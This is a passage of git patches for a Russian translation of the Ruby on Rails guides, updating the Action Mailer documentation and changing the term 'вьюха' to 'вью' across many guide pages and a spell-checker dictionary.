    @@ -284,21 +302,24 @@ end #### Рассылка Email с именем -Иногда хочется показать имена людей вместо их электронных адресов, при получении ими email. Фокус в том, что формат адреса email следующий `"Full Name" `. +Иногда хочется показать имена людей вместо их электронных адресов, при получении ими email. Для этого можно использовать [`email_address_with_name`][]: ```ruby def welcome_email - @user = params[:user] - email_with_name = %("#{@user.name}" <#{@user.email}>) - mail(to: email_with_name, subject: 'Welcome to My Awesome Site') + mail( + to: email_address_with_name(@user.email, @user.name), + subject: 'Welcome to My Awesome Site' + ) end ``` +[`email_address_with_name`]: https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-email_address_with_name + ### Вьюхи рассыльщика -Вьюхи рассыльщика расположены в директории `app/views/name_of_mailer_class`. Определенная вьюха рассыльщика известна классу, поскольку у нее имя такое же, как у метода рассыльщика. Так, в нашем примере, вьюха рассыльщика для метода `welcome_email` будет в `app/views/user_mailer/welcome_email.html.erb` для версии HTML и `welcome_email.text.erb` для обычной текстовой версии. +Вьюхи рассыльщика расположены в директории `app/views/name_of_mailer_class`. Определенная вью рассыльщика известна классу, поскольку у нее имя такое же, как у метода рассыльщика. Так, в нашем примере, вью рассыльщика для метода `welcome_email` будет в `app/views/user_mailer/welcome_email.html.erb` для версии HTML и `welcome_email.text.erb` для обычной текстовой версии. -Чтобы изменить вьюху рассыльщика по умолчанию для вашего экшна, сделайте так: +Чтобы изменить вью рассыльщика по умолчанию для вашего экшна, сделайте так: ```ruby class UserMailer < ApplicationMailer @@ -338,7 +359,7 @@ end Это отрендерит шаблон 'another_template.html.erb' для HTML части и использует 'Render text' для текстовой части. Команда `render` та же самая, что используется в Action Controller, поэтому можете использовать те же опции, такие как `:text`, `:inline` и т.д. -Если хотите отрендерить шаблон, расположенный вне директории по умолчанию `app/views/mailer_name/`, можно применить `prepend_view_path`, следующим образом: +Если хотите отрендерить шаблон, расположенный вне директории по умолчанию `app/views/mailer_name/`, можно применить [`prepend_view_path`][], следующим образом: ```ruby class UserMailer < ApplicationMailer @@ -351,13 +372,16 @@ class UserMailer < ApplicationMailer end ``` -Также рассмотрите использование метода [append_view_path](/action-view-overview#view-paths) method. +Также рассмотрите использование метода [`append_view_path`][] method. -#### Кэширование вьюх рассыльщика +[`append_view_path`]: https://api.rubyonrails.org/classes/ActionView/ViewPaths/ClassMethods.html#method-i-append_view_path +[`prepend_view_path`]: https://api.rubyonrails.org/classes/ActionView/ViewPaths/ClassMethods.html#method-i-prepend_view_path -Во вьюхах рассыльщика можно выполнять кэширование фрагментов так же, как и во вьюхах приложения, с помощью метода `cache`. +#### Кэширование вью рассыльщика -``` +Во вью рассыльщика можно выполнять кэширование фрагментов так же, как и во вью приложения, с помощью метода `cache`. + +```html+erb <% cache do %> <%= @company.name %> <% end %> @@ -365,18 +389,20 @@ end И чтобы использовать эту особенность, необходимо настроить приложение следующим образом: -``` - config.action_mailer.perform_caching = true +```ruby +config.action_mailer.perform_caching = true ``` Кэширование фрагментов также поддерживается в multipart письмах. Подробнее читайте в руководстве [Кэширование с Rails: Обзор](/caching-with-rails-an-overview). +[`cache`]: https://api.rubyonrails.org/classes/ActionView/Helpers/CacheHelper.html#method-i-cache + ### Макеты Action Mailer -Как и во вьюхах контроллера, можно также иметь макеты рассыльщика. Имя макета должно быть таким же, как у вашего рассыльщика, таким как `user_mailer.html.erb` и `user_mailer.text.erb`, чтобы автоматически распознаваться вашим рассыльщиком как макет. +Как и во вью контроллера, можно также иметь макеты рассыльщика. Имя макета должно быть таким же, как у вашего рассыльщика, таким как `user_mailer.html.erb` и `user_mailer.text.erb`, чтобы автоматически распознаваться вашим рассыльщиком как макет. -Чтобы задействовать другой файл, вызовите `layout` в своем рассыльщике: +Чтобы задействовать другой файл, вызовите [`layout`][] в своем рассыльщике: ```ruby class UserMailer < ApplicationMailer @@ -384,7 +410,7 @@ class UserMailer < ApplicationMailer end ``` -Подобно вьюхам контроллера, используйте `yield` для рендеринга вьюхи внутри макета. +Подобно вью контроллера, используйте `yield` для рендеринга вью внутри макета. Также можно передать опцию `layout: 'layout_name'` в вызов render в формате блока, чтобы определить различные макеты для различных форматов: @@ -401,6 +427,8 @@ end Отрендерит часть в HTML, используя файл `my_layout.html.erb`, и текстовую часть с обычным файлом `user_mailer.text.erb`, если он существует. +[`layout`]: https://api.rubyonrails.org/classes/ActionView/Layouts/ClassMethods.html#method-i-layout + ### Предпросмотр писем Предпросмотр Action Mailer предоставляет способ увидеть, как выглядят письма, посетив специальный URL, который отображает их. В приведенном выше примере, класс предпросмотра для `UserMailer` должен называться `UserMailerPreview` и находится в `test/mailers/previews/user_mailer_preview`. Чтобы увидеть предпросмотр `welcome_email`, реализуйте метод с таким же именем и вызовом `UserMailer.welcome_email`: @@ -424,7 +452,7 @@ end config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews" ``` -### Генерируем URL во вьюхах Action Mailer +### Генерируем URL во вью Action Mailer В отличие от контроллеров, экземпляр рассыльщика не может использовать какой-либо контекст относительно входящего запроса, поэтому необходимо предоставить параметр `:host` самостоятельно. @@ -436,13 +464,13 @@ config.action_mailer.default_url_options = { host: 'example.com' } В связи с таким поведением в письме нельзя использовать любые хелперы `*_path`. Вместо них можно использовать связанные хелперы `*_url`. Например, вместо использования -``` +```html+erb <%= link_to 'welcome', welcome_path %> ``` Нужно использовать: -``` +```html+erb <%= link_to 'welcome', welcome_url %> ``` @@ -451,7 +479,7 @@ config.action_mailer.default_url_options = { host: 'example.com' } #### Генерация URL с помощью `url_for` -`url_for` генерирует полный URL по умолчанию в шаблонах. +[`url_for`][] генерирует полный URL по умолчанию в шаблонах. Если вы не настроили опцию `:host` глобально, убедитесь, что передали ее в `url_for`. @@ -461,9 +489,11 @@ config.action_mailer.default_url_options = { host: 'example.com' } action: 'greeting') %> ``` +[`url_for`]: https://api.rubyonrails.org/classes/ActionView/RoutingUrlFor.html#method-i-url_for + #### Генерация URL с помощью именованных маршрутов -У клиентов email отсутствует веб-контекст, таким образом у путей нет базового URL для формирования полного веб-адреса. Поэтому следует всегда использовать только вариант "\_url" именованных маршрутных хелперов. +У клиентов email отсутствует веб-контекст, таким образом у путей нет базового URL для формирования полного веб-адреса. Поэтому следует всегда использовать только вариант `*_url` именованных маршрутных хелперов. Если вы не настроили опцию `:host` глобально, убедитесь, что передали ее в хелпер URL. @@ -471,22 +501,22 @@ config.action_mailer.default_url_options = { host: 'example.com' } <%= user_url(http://github.com/@user,%20host:%20'example.com') %> ``` -NOTE: не `GET` ссылки требуют [rails-ujs](https://github.com/rails/rails/blob/master/actionview/app/assets/javascripts) или [jQuery UJS](https://github.com/rails/jquery-ujs) +NOTE: не `GET` ссылки требуют [rails-ujs](https://github.com/rails/rails/blob/main/actionview/app/assets/javascripts) или [jQuery UJS](https://github.com/rails/jquery-ujs) и не будут работать в шаблонах рассыльщика. Они будут заменятся на простые `GET` запросы. -### Добавление картинок во вьюхах Action Mailer +### Добавление картинок во вью Action Mailer В отличие от контроллеров, экземпляр рассыльщика не может использовать какой-либо контекст относительно входящего запроса, поэтому необходимо предоставить параметр `:asset_host` самостоятельно. Так как `:asset_host` обычно одинаковый для всего приложения, его можно настроить глобально в `config/application.rb`: ```ruby -config.action_mailer.asset_host = 'http://example.com/' +config.asset_host = 'http://example.com/' ``` Теперь вы можете отображать картинки внутри вашего письма. -```ruby +```html+erb <%= image_tag 'image.jpg' %> ``` @@ -533,15 +563,15 @@ end Колбэки Action Mailer --------------------- -Action Mailer позволяет определить `before_action`, `after_action` и `around_action`. +Action Mailer позволяет определить [`before_action`][], [`after_action`][] и [`around_action`][]. * Фильтры могут быть определены в блоке или символом с именем метода рассыльщика, подобно контроллерам. -* `before_action` можно использовать для заполнения объекта mail значениями по умолчанию, `delivery_method_options` или вставки дефолтных заголовков и прикрепленных файлов. +* `before_action` можно использовать для присвоения переменным экземпляра, заполнения объекта mail значениями по умолчанию или вставки дефолтных заголовков и прикрепленных файлов. ```ruby class InvitationsMailer < ApplicationMailer - before_action { @inviter, @invitee = params[:inviter], params[:invitee] } + before_action :set_inviter_and_invitee before_action { @account = params[:inviter].account } default to: -> { @invitee.email_address }, @@ -558,11 +588,20 @@ class InvitationsMailer < ApplicationMailer mail subject: "#{@inviter.name.familiar} added you to a project in Basecamp (#{@account.name})" end + + private + + def set_inviter_and_invitee + @inviter = params[:inviter] + @invitee = params[:invitee] + end end ``` * `after_action` можно использовать для подобной настройки, как и в `before_action`, но используя переменные экземпляра, установленные в экшне рассыльщика. +* Использование колбэка `after_action` также позволяет переопределить настройки метода доставки, обновляя `mail.delivery_method.settings`. + ```ruby class UserMailer < ApplicationMailer before_action { @business, @user = params[:business], params[:user] } @@ -603,10 +642,25 @@ end * Фильтры рассыльщика прерывают дальнейшую обработку, если body установлено в не-nil значение. +[`after_action`]: https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-after_action +[`around_action`]: https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-around_action +[`before_action`]: https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-before_action + Использование хелперов Action Mailer ------------------------------------ -Action Mailer теперь всего лишь наследуется от `AbstractController`, поэтому у вас есть доступ к тем же общим хелперам, как и в Action Controller. +Action Mailer наследуется от `AbstractController`, поэтому у вас есть доступ к тем же общим хелперам, как и в Action Controller. + +также есть несколько специфичных для Action Mailer вспомогательных методов, доступных в [`ActionMailer::MailHelper`][]. Например, позволяют получить доступ к экземпляру рассыльщика с помощью [`mailer`][MailHelper#mailer], и к сообщению как [`message`][MailHelper#message]: + +```erb +<%= stylesheet_link_tag mailer.name.underscore %> +

    <%= message.subject %>

    +``` + +[`ActionMailer::MailHelper`]: https://api.rubyonrails.org/classes/ActionMailer/MailHelper.html +[MailHelper#mailer]: https://api.rubyonrails.org/classes/ActionMailer/MailHelper.html#method-i-mailer +[MailHelper#message]: https://api.rubyonrails.org/classes/ActionMailer/MailHelper.html#method-i-message (action-mailer-configuration) Настройка Action Mailer ----------------------------------------------------- @@ -672,7 +726,7 @@ Action Mailer предоставляет хуки в методы обозрев ### Перехват писем -Перехватчики позволяют сделать изменения в письма перед тем, как они будут переданы агентам доставки. Класс перехватчика должен реализовывать метод `:delivering_email(message)`, который будет вызван перед отправкой письма. +Перехватчики позволяют сделать изменения в письма перед тем, как они будут переданы агентам доставки. Класс перехватчика должен реализовывать метод `::delivering_email(message)`, который будет вызван перед отправкой письма. ```ruby class SandboxEmailInterceptor @@ -682,7 +736,7 @@ class SandboxEmailInterceptor end ``` -Прежде чем перехватчик сможет выполнить свое задание, необходимо зарегистрировать его с помощью фреймворка Action Mailer. Это можно сделать в файле инициализатора `config/initializers/sandbox_email_interceptor.rb` +Прежде чем перехватчик сможет выполнить свое задание, необходимо зарегистрировать его с помощью [`register_interceptor`][]. Это можно сделать в файле инициализатора. наподобие `config/initializers/sandbox_email_interceptor.rb` ```ruby if Rails.env.staging? @@ -692,6 +746,8 @@ end NOTE: Вышеприведенный пример использует пользовательское окружение по имени "staging" для сервера, похожего на production, но для целей тестирования. Подробнее о пользовательских окружениях в Rails можно прочитать в [Создание сред Rails](/configuring-rails-applications#creating-rails-environments). +[`register_interceptor`]: https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-c-register_interceptor + ### Обзор писем Обозреватели дают доступ к сообщению письма после его отправки. Класс обозревателя должен реализовывать метод `:delivered_email(message)`, который будет вызван после отправки письма. @@ -703,8 +759,11 @@ class EmailDeliveryObserver end end ``` -Подобно перехватчикам, обозреватели нужно зарегистрировать с помощью фреймворка Action Mailer. Это можно сделать в файле инициализатора `config/initializers/email_delivery_observer.rb` + +Подобно перехватчикам, обозреватели нужно зарегистрировать с помощью [`register_observer`][]. Это можно сделать в файле инициализатора, наподобие `config/initializers/email_delivery_observer.rb` ```ruby ActionMailer::Base.register_observer(EmailDeliveryObserver) ``` + +[`register_observer`]: https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-c-register_observer diff --git a/source/index.yml b/source/index.yml index b7157c2e..c270af5d 100644 --- a/source/index.yml +++ b/source/index.yml @@ -123,8 +123,8 @@ pages: - title: Основы Action Mailer path: action-mailer-basics file: action_mailer_basics.md - revision: 1480b87f3187d794e4142d4de165604d348369ec - date: 07/05/2019 + revision: 077c66d5d6ef3a6f1cc54e4a431bfa5ea6831b97 + date: 19/01/2021 - title: Основы Action Mailbox path: action-mailbox-basics From a01b4b51f4d74d834e75ec0edf7360166d727f65 Mon Sep 17 00:00:00 2001 From: Mikhail Date: Tue, 16 Feb 2021 23:43:10 +0300 Subject: [PATCH 551/932] update view translation --- .yaspeller.json | 1 - source/3_0_release_notes.md | 14 ++--- source/3_1_release_notes.md | 4 +- source/4_0_release_notes.md | 2 +- source/4_2_release_notes.md | 6 +- source/5_0_release_notes.md | 8 +-- source/6_0_release_notes.md | 2 +- source/action_controller_overview.md | 12 ++-- source/action_mailer_basics.md | 4 +- source/action_view_helpers.md | 6 +- source/action_view_overview.md | 34 +++++----- source/active_record_validations.md | 6 +- source/active_storage_overview.md | 2 +- source/active_support_core_extensions.md | 6 +- source/active_support_instrumentation.md | 2 +- source/api_app.md | 4 +- source/asset_pipeline.md | 2 +- source/caching_with_rails.md | 10 +-- source/command_line.md | 8 +-- source/configuring.md | 8 +-- source/debugging_rails_applications.md | 14 ++--- source/engines.md | 18 +++--- source/form_helpers.md | 2 +- source/getting_started.md | 12 ++-- source/i18n.md | 28 ++++----- source/index.md | 4 +- source/layouts_and_rendering.md | 72 +++++++++++----------- source/menu.md | 2 +- source/routing.md | 10 +-- source/security.md | 10 +-- source/testing.md | 20 +++--- source/upgrading_ruby_on_rails.md | 14 ++--- source/working_with_javascript_in_rails.md | 10 +-- 33 files changed, 178 insertions(+), 179 deletions(-) diff --git a/.yaspeller.json b/.yaspeller.json index 1ff13dab..9acbf92c 100644 --- a/.yaspeller.json +++ b/.yaspeller.json @@ -46,7 +46,6 @@ "внутрипроцессн(ый|ая|ое|ую)", "волатильн(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", "воркер(а|е|у|ы|ах|ов|ом|ами|)", - "вьюх(а|е|и|у|ах|ам|ами|ой|)", "гендер(но|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", "геокодер(а|е|у|ы|ах|ов|ом|ами|)", "геолокаци(и|ю|я|ей)", diff --git a/source/3_0_release_notes.md b/source/3_0_release_notes.md index ed9b8a6e..0bf9e8d8 100644 --- a/source/3_0_release_notes.md +++ b/source/3_0_release_notes.md @@ -126,7 +126,7 @@ Railties был обновлен, чтобы предоставить совме ### Абстракция контроллера -Другой крупной частью разделения компонентов ядра было создание основного суперкласса, отделенного от терминов HTTP, для управления рендерингом вьюх и т.д. Создание `AbstractController` позволило существенно упростить `ActionController` и `ActionMailer`, убрав общий код из этих библиотек, и поместив его в Abstract Controller. +Другой крупной частью разделения компонентов ядра было создание основного суперкласса, отделенного от терминов HTTP, для управления рендерингом вью и т.д. Создание `AbstractController` позволило существенно упростить `ActionController` и `ActionMailer`, убрав общий код из этих библиотек, и поместив его в Abstract Controller. Подробнее: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/rails-edge-architecture/) @@ -174,10 +174,10 @@ Railties * Новые генераторы позволяют переопределить шаблоны, поместив копию в `Rails.root/lib/templates`. * Также представлен `Rails::Generators::TestCase`, поэтому вы можете создать собственные генераторы и протестировать их. -Также несколько переделаны вьюхи, генерируемые с помощью генераторов Railties: +Также несколько переделаны вью, генерируемые с помощью генераторов Railties: -* Сейчас вьюхи используют теги `div` вместо тегов `p`. -* Сейчас сгенерированные скаффолды используют партиалы `_form`, вместо повторения кода во вьюхах edit и new. +* Сейчас вью используют теги `div` вместо тегов `p`. +* Сейчас сгенерированные скаффолды используют партиалы `_form`, вместо повторения кода во вью edit и new. * Сейчас формы скаффолда используют `f.submit`, возвращающий "Create ModelName" или "Update ModelName", в зависимости от состояния переданного объекта. Наконец, ряд улучшений был добавлен в задачи rake: @@ -316,13 +316,13 @@ form_for @post, :remote => true #### Другие изменения -* Больше не нужно вызывать `h(string)` для экранирования HTML, это осуществляется по умолчанию во всех шаблонах вьюх. Если хотите неэкранированную строку, вызывайте `raw(string)`. +* Больше не нужно вызывать `h(string)` для экранирования HTML, это осуществляется по умолчанию во всех шаблонах вью. Если хотите неэкранированную строку, вызывайте `raw(string)`. * Теперь по умолчанию хелперы выводят HTML 5. * Хелпер формы label теперь берет значения из I18n с отдельным значением, таким образом `f.label :name` возьмет перевод `:name`. * Метка I18n для select теперь :en.helpers.select вместо :en.support.select. * Теперь не нужно помещать знак минуса в конце интерполяции руби в шаблоне ERB для того, чтобы убрать перевод строки в результирующем HTML. * В Action View добавлен хелпер `grouped_collection_select`. -* Добавлен `content_for?`, позволяющий проверить существование содержимого во вьюхе до рендеринга. +* Добавлен `content_for?`, позволяющий проверить существование содержимого во вью до рендеринга. * Передача в хелперы форм `:value => nil` установит атрибут поля `value` как nil вместо значения по умолчанию * Передача в хелперы форм `:id => nil` приведет к тому, что эти поля будут отрендерены без атрибута `id` * Передача `:alt => nil` в `image_tag` приведет к тому, что тег `img` отрендерится без атрибута `alt` @@ -565,7 +565,7 @@ Action Mailer получил новый API в связи с заменой TMai * Динамические методы рассыльщика `create_method_name` и `deliver_method_name` устарели, просто вызывайте `method_name`, который возвратит объект `Mail::Message`. * `ActionMailer.deliver(message)` устарел, просто вызывайте `message.deliver`. * `template_root` устарел, передавайте опции в вызов render в proc из метода `format.mime_type` внутри блока генерации письма `mail` -* Метод `body` для определения переменных экземпляра устарел (`body {:ivar => value}`), всего лишь определите переменные экземпляра непосредственно в методе, и они будут доступны во вьюхе. +* Метод `body` для определения переменных экземпляра устарел (`body {:ivar => value}`), всего лишь определите переменные экземпляра непосредственно в методе, и они будут доступны во вью. * Нахождение рассыльщиков в `app/models` устарело, вместо этого используйте `app/mailers`. Подробнее: diff --git a/source/3_1_release_notes.md b/source/3_1_release_notes.md index 391e8a1e..b059f330 100644 --- a/source/3_1_release_notes.md +++ b/source/3_1_release_notes.md @@ -128,9 +128,9 @@ config.static_cache_control = "public, max-age=3600" end ``` -#### Уберите опции :cache и :concat в хелперах ассетов во вьюхах +#### Уберите опции :cache и :concat в хелперах ассетов во вью -* Вместе с Asset Pipeline опции :cache и :concat больше не используются, удалите эти опции из своих вьюх. +* Вместе с Asset Pipeline опции :cache и :concat больше не используются, удалите эти опции из своих вью. Создание приложения Rails 3.1 ----------------------------- diff --git a/source/4_0_release_notes.md b/source/4_0_release_notes.md index 1d0878a2..fd436c4d 100644 --- a/source/4_0_release_notes.md +++ b/source/4_0_release_notes.md @@ -66,7 +66,7 @@ $ ruby /path/to/rails/railties/bin/rails new myapp --dev * **Routing concerns** ([коммит](https://github.com/rails/rails/commit/0dd24728a088fcb4ae616bb5d62734aca5276b1b)) - В маршрутном DSL, выделяет общие подмаршруты (`comments` из `/posts/1/comments` and `/videos/1/comments`). * **ActionController::Live** ([коммит](https://github.com/rails/rails/commit/af0a9f9eefaee3a8120cfd8d05cbc431af376da3)) - Потоковый JSON с помощью `response.stream`. * **Декларативные ETags** ([коммит](https://github.com/rails/rails/commit/ed5c938fa36995f06d4917d9543ba78ed506bb8d)) - Добавляет на уровне контроллера дополнения к etag, которые будут частью вычисления etag. -* **[Кэширование Russian doll](https://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works)** ([коммит](https://github.com/rails/rails/commit/4154bf012d2bec2aae79e4a49aa94a70d3e91d49)) - Кэширует вложенные фрагменты вьюх. Каждый фрагмент прекращается на основе набора зависимостей (ключа кэширования). Ключ кэширования - это обычно версия шаблона и объект модели. +* **[Кэширование Russian doll](https://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works)** ([коммит](https://github.com/rails/rails/commit/4154bf012d2bec2aae79e4a49aa94a70d3e91d49)) - Кэширует вложенные фрагменты вью. Каждый фрагмент прекращается на основе набора зависимостей (ключа кэширования). Ключ кэширования - это обычно версия шаблона и объект модели. * **Turbolinks** ([коммит](https://github.com/rails/rails/commit/e35d8b18d0649c0ecc58f6b73df6b3c8d0c6bb74)) - Обслуживает только первую страницу HTML. Когда пользователь переходит на следующую страницу, использует pushState для обновления URL и использует AJAX для обновления title и body. * **Извлечение ActionView из ActionController** ([коммит](https://github.com/rails/rails/commit/78b0934dd1bb84e8f093fb8ef95ca99b297b51cd)) - ActionView был отделен от ActionPack, и будет вынесен в отдельный гем в Rails 4.1. * **Независимость от ActiveModel** ([коммит](https://github.com/rails/rails/commit/166dbaa7526a96fdf046f093f25b0a134b277a68)) - ActionPack больше не зависит от ActiveModel. diff --git a/source/4_2_release_notes.md b/source/4_2_release_notes.md index 30d75c42..7a42b77c 100644 --- a/source/4_2_release_notes.md +++ b/source/4_2_release_notes.md @@ -91,9 +91,9 @@ post.comments(true) ### Веб-консоль -Новые приложения, генерируемые начиная с Rails 4.2, поставляются с гемом [Web Console](https://github.com/rails/web-console) по умолчанию. Веб-консоль добавляет интерактивную консоль Ruby на каждой странице ошибки и хелпер вьюх и контроллеров `console`. +Новые приложения, генерируемые начиная с Rails 4.2, поставляются с гемом [Web Console](https://github.com/rails/web-console) по умолчанию. Веб-консоль добавляет интерактивную консоль Ruby на каждой странице ошибки и хелпер вью и контроллеров `console`. -Интерактивная консоль на страницах ошибок позволяет выполнять код в контексте места, где было вызвано исключение. Хелпер вьюх `console` при вызове в любом месте вьюхи или контроллера запускает интерактивную консоль в последнем контексте, как только завершится рендеринг. +Интерактивная консоль на страницах ошибок позволяет выполнять код в контексте места, где было вызвано исключение. Хелпер вью `console` при вызове в любом месте вью или контроллера запускает интерактивную консоль в последнем контексте, как только завершится рендеринг. ### Поддержка внешних ключей @@ -469,7 +469,7 @@ Action View ### Устарело -* Устарели `AbstractController::Base.parent_prefixes`. Переопределите `AbstractController::Base.local_prefixes` когда хотите изменить, где следует искать вьюхи. +* Устарели `AbstractController::Base.parent_prefixes`. Переопределите `AbstractController::Base.local_prefixes` когда хотите изменить, где следует искать вью. ([Pull Request](https://github.com/rails/rails/pull/15026)) * Устарел `ActionView::Digestor#digest(name, format, finder, options = {})`. Аргументы должны быть переданы как хэш. diff --git a/source/5_0_release_notes.md b/source/5_0_release_notes.md index 6f5327e9..f5595527 100644 --- a/source/5_0_release_notes.md +++ b/source/5_0_release_notes.md @@ -45,7 +45,7 @@ $ rails new my_api --api - Настроит ваше приложение для изначального использования с более ограниченным набором промежуточных программ. В частности, по умолчанию оно не включит любые промежуточные программы, полезные для браузерных приложений (такие как поддержка куки). - Унаследует `ApplicationController` от `ActionController::API` вместо `ActionController::Base`. Как и в случае с промежуточными программами, это отбросит все модули Action Controller, предоставляющие функциональность, в основном используемую браузерными приложениями. -- Настроит генераторы пропускать генерацию вьюх, хелперов и ассетов при генерации нового ресурса. +- Настроит генераторы пропускать генерацию вью, хелперов и ассетов при генерации нового ресурса. Приложение представляет основу для API, которая затем может быть [настроена](/api-app) под нужды приложения. @@ -348,7 +348,7 @@ Action Pack * Обновлены политики рендеринга по умолчанию, когда экшн контроллера не указывает явно отклик. ([Pull Request](https://github.com/rails/rails/pull/23827)) -* Добавлен `ActionController#helpers` для получения доступа к контексту вьюхи на уровне контроллера. +* Добавлен `ActionController#helpers` для получения доступа к контексту вью на уровне контроллера. ([Pull Request](https://github.com/rails/rails/pull/24866)) * Показанные сообщения flash убираются перед сохранением в сессию. @@ -410,7 +410,7 @@ Action Mailer ### Удалено -* Удалены устаревшие хелперы `*_path` во вьюхах email. +* Удалены устаревшие хелперы `*_path` во вью email. ([коммит](https://github.com/rails/rails/commit/d282125a18c1697a9b5bb775628a2db239142ac7)) * Удалены устаревшие методы `deliver` и `deliver!`. @@ -430,7 +430,7 @@ Action Mailer * Добавлена настройка `config.action_mailer.deliver_later_queue_name` для установления имени очереди рассыльщика. ([Pull Request](https://github.com/rails/rails/pull/18587)) -* Добавлена поддержка кэширования фрагмента во вьюхах Action Mailer. Добавлена новая конфигурационная опция `config.action_mailer.perform_caching` для определения, должны ли ваши шаблоны осуществлять кэширование или нет. +* Добавлена поддержка кэширования фрагмента во вью Action Mailer. Добавлена новая конфигурационная опция `config.action_mailer.perform_caching` для определения, должны ли ваши шаблоны осуществлять кэширование или нет. ([Pull Request](https://github.com/rails/rails/pull/22825)) Active Record diff --git a/source/6_0_release_notes.md b/source/6_0_release_notes.md index 397fa059..e205e066 100644 --- a/source/6_0_release_notes.md +++ b/source/6_0_release_notes.md @@ -249,7 +249,7 @@ Action View * Устарел `config.action_view.finalize_compiled_template_methods` без замены. ([Pull Request](https://github.com/rails/rails/pull/35036)) -* Устарел вызов приватных методов модели из хелпера вьюхи `options_from_collection_for_select`. +* Устарел вызов приватных методов модели из хелпера вью `options_from_collection_for_select`. ([Pull Request](https://github.com/rails/rails/pull/33547)) ### Значимые изменения diff --git a/source/action_controller_overview.md b/source/action_controller_overview.md index 4ff183f6..17442bbc 100644 --- a/source/action_controller_overview.md +++ b/source/action_controller_overview.md @@ -19,9 +19,9 @@ Action Controller это C в аббревиатуре [MVC](https://ru.wikipedia.org/wiki/Model-View-Controller). После того, как роутер определит, какой контроллер использовать для обработки запроса, контроллер ответственен за осмысление запроса и генерацию подходящего ответа. К счастью, Action Controller делает за вас большую часть грязной работы и использует элегантные соглашения, чтобы сделать это по возможности максимально просто. -Для большинства приложений, основанных на [RESTful](https://ru.wikipedia.org/wiki/REST), контроллер получает запрос (это невидимо для вас, как для разработчика), извлекает или сохраняет данные в модели и использует вьюху для создания результирующего HTML. Если контроллеру необходимо работать немного по-другому, не проблема, это всего лишь наиболее распространенный способ работы контроллера. +Для большинства приложений, основанных на [RESTful](https://ru.wikipedia.org/wiki/REST), контроллер получает запрос (это невидимо для вас, как для разработчика), извлекает или сохраняет данные в модели и использует вью для создания результирующего HTML. Если контроллеру необходимо работать немного по-другому, не проблема, это всего лишь наиболее распространенный способ работы контроллера. -Таким образом, контроллер можно рассматривать как посредника между моделями и вьюхами. Он делает данные модели доступными вьюхе, так что она может отображать эти данные пользователю, и он сохраняет или обновляет данные от пользователя в модель. +Таким образом, контроллер можно рассматривать как посредника между моделями и вью. Он делает данные модели доступными вью, так что она может отображать эти данные пользователю, и он сохраняет или обновляет данные от пользователя в модель. NOTE: Более детально о процессе маршрутизации смотрите [Роутинг в Rails](/rails-routing). @@ -46,7 +46,7 @@ class ClientsController < ApplicationController end ``` -В качестве примера, если пользователь перейдет на `/clients/new` в приложении, чтобы добавить нового клиента, Rails создаст экземпляр `ClientsController` и вызовет метод `new`. Отметьте, что пустой метод из вышеприведенного примера будет прекрасно работать, так как Rails по умолчанию отрендерит вьюху `new.html.erb`, если в экшне не будет указано иное. При создании нового `Client`, метод `new` может сделать переменную экземпляра `@client` доступной во вьюхе: +В качестве примера, если пользователь перейдет на `/clients/new` в приложении, чтобы добавить нового клиента, Rails создаст экземпляр `ClientsController` и вызовет метод `new`. Отметьте, что пустой метод из вышеприведенного примера будет прекрасно работать, так как Rails по умолчанию отрендерит вью `new.html.erb`, если в экшне не будет указано иное. При создании нового `Client`, метод `new` может сделать переменную экземпляра `@client` доступной во вью: ```ruby def new @@ -90,7 +90,7 @@ class ClientsController < ApplicationController redirect_to @client else # Эта строчка переопределяет поведение рендеринга по умолчанию, - # который отрендерил бы вьюху "create". + # который отрендерил бы вью "create". render "new" end end @@ -306,7 +306,7 @@ Strong parameter API был разработан для наиболее общ (session) Сессия ---------------- -В приложении есть сессия для каждого пользователя, в которой можно хранить небольшие объемы данных, которые будут персистентными между запросами. Сессия доступна только в контроллере и во вьюхе, и может использовать один из нескольких механизмов хранения: +В приложении есть сессия для каждого пользователя, в которой можно хранить небольшие объемы данных, которые будут персистентными между запросами. Сессия доступна только в контроллере и во вью, и может использовать один из нескольких механизмов хранения: * `ActionDispatch::Session::CookieStore` - Хранит все на клиенте. * `ActionDispatch::Session::CacheStore` - Хранит данные в кэше Rails. @@ -663,7 +663,7 @@ class ChangesController < ApplicationController end ``` -Отметьте, что фильтры "around" также оборачивают рендеринг. В частности, если в вышеуказанном примере вьюха сама начнет считывать из базы данных (например через скоуп), она это осуществит внутри транзакции, предоставив, таким образом, данные для предварительного просмотра. +Отметьте, что фильтры "around" также оборачивают рендеринг. В частности, если в вышеуказанном примере вью сама начнет считывать из базы данных (например через скоуп), она это осуществит внутри транзакции, предоставив, таким образом, данные для предварительного просмотра. Можно не вызывать yield и создать отклик самостоятельно, в этом случае экшн не будет запущен. diff --git a/source/action_mailer_basics.md b/source/action_mailer_basics.md index 448161e8..509b15e6 100644 --- a/source/action_mailer_basics.md +++ b/source/action_mailer_basics.md @@ -315,9 +315,9 @@ end [`email_address_with_name`]: https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-email_address_with_name -### Вьюхи рассыльщика +### Вью рассыльщика -Вьюхи рассыльщика расположены в директории `app/views/name_of_mailer_class`. Определенная вью рассыльщика известна классу, поскольку у нее имя такое же, как у метода рассыльщика. Так, в нашем примере, вью рассыльщика для метода `welcome_email` будет в `app/views/user_mailer/welcome_email.html.erb` для версии HTML и `welcome_email.text.erb` для обычной текстовой версии. +Вью рассыльщика расположены в директории `app/views/name_of_mailer_class`. Определенная вью рассыльщика известна классу, поскольку у нее имя такое же, как у метода рассыльщика. Так, в нашем примере, вью рассыльщика для метода `welcome_email` будет в `app/views/user_mailer/welcome_email.html.erb` для версии HTML и `welcome_email.text.erb` для обычной текстовой версии. Чтобы изменить вью рассыльщика по умолчанию для вашего экшна, сделайте так: diff --git a/source/action_view_helpers.md b/source/action_view_helpers.md index eeeb0402..bba6a313 100644 --- a/source/action_view_helpers.md +++ b/source/action_view_helpers.md @@ -19,7 +19,7 